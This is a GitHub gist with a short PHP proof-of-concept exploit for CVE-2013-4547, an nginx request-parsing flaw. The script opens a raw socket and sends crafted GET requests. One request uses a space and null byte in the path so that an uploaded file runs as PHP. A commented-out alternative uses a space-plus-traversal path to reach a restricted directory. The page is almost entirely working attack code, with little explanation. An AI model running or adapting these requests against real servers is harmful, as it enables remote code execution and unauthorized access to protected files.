Skip to content

Instantly share code, notes, and snippets.

@lostsnow
Last active December 28, 2015 20:58
Show Gist options
  • Save lostsnow/7560826 to your computer and use it in GitHub Desktop.
Save lostsnow/7560826 to your computer and use it in GitHub Desktop.
<?php
/**
* CVE-2013-4547
* http://mailman.nginx.org/pipermail/nginx-announce/2013/000125.html
* author lostsnow@gmail.com
*/
$host = 'x.com';
$fp = fsockopen($host, 80, $errno, $errstr);
if (!$fp)
{
echo "$errstr ($errno)<br />\n";
}
else
{
// vim index" ", insert some PHP code
$out = "GET /index \0.php" . "\r\n";
// mkdir test" "
// $out = "GET /test /../protected/1.txt" . "\r\n";
$out .= 'Host: ' . $host . "\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
$content = '';
while (!feof($fp))
{
$content .= fgets($fp, 128);
}
fclose($fp);
echo '<pre>';
echo $content;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment